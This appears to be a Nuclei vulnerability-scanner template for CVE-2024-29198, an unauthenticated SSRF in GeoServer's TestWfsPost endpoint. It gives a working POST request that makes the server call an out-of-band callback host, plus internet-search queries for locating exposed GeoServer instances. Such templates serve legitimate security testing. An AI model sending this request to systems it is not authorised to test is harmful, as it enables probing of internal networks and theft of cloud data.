id: CVE-2024-29198

info:
  name: GeoServer Demo Request Endpoint - Server Side Request Forgery
  author: iamnoooob,pdresearch
  severity: high
  description: |
    It is possible to achieve Server Side Request Forgery (SSRF) via the Demo request endpoint if Proxy Base URL has not been set. An unauthenticated user can supply a request that will be issued by the server, allowing enumeration of internal networks and, in the case of cloud instances, access to sensitive data.
  impact: |
    An attacker can exploit this vulnerability to access internal resources, enumerate internal networks, and potentially access sensitive data in cloud environments through the server-side request forgery attack.
  remediation: |
    Upgrade to a patched version of GeoServer or configure the Proxy Base URL properly to prevent unauthorized server-side requests through the TestWfsPost endpoint.
  reference:
    - https://github.com/geoserver/geoserver/security/advisories/GHSA-5gw5-jccf-6hxw
    - https://osgeo-org.atlassian.net/browse/GEOS-11390
    - https://osgeo-org.atlassian.net/browse/GEOS-11794
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29198
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-29198
    cwe-id: CWE-918
    epss-score: 0.01923
    epss-percentile: 0.77905
  metadata:
    verified: true
    max-request: 1
    vendor: osgeo
    product: geoserver
    shodan-query:
      - http.title:"geoserver"
      - server:"geohttpserver"
    fofa-query:
      - app="geoserver"
      - title="geoserver"
    google-query: intitle:"geoserver"
  tags: cve,cve2024,ssrf,geoserver,oos,oast,vkev,vuln

variables:
  string: "{{randstr}}"

http:
  - raw:
      - |
        POST /geoserver/TestWfsPost HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        url=http://{{interactsh-url}}/?body={{string}}

    matchers:
      - type: dsl
        dsl:
          - "contains(interactsh_protocol, 'http')"
          - "contains(content_type, 'text/plain')"
          - "regex('^{{string}}$', body)"
          - "status_code == 200"
        condition: and
# digest: 490a0046304402202b753768ec9668745da7b2bff7d928d0da845cfa67f3544842453725badeb257022074b1707dbdd54040324d776adcdc4eeac593067e7018bc5e59fde818d4e0f2e8:922c64590222798bb761d5b6d8e72950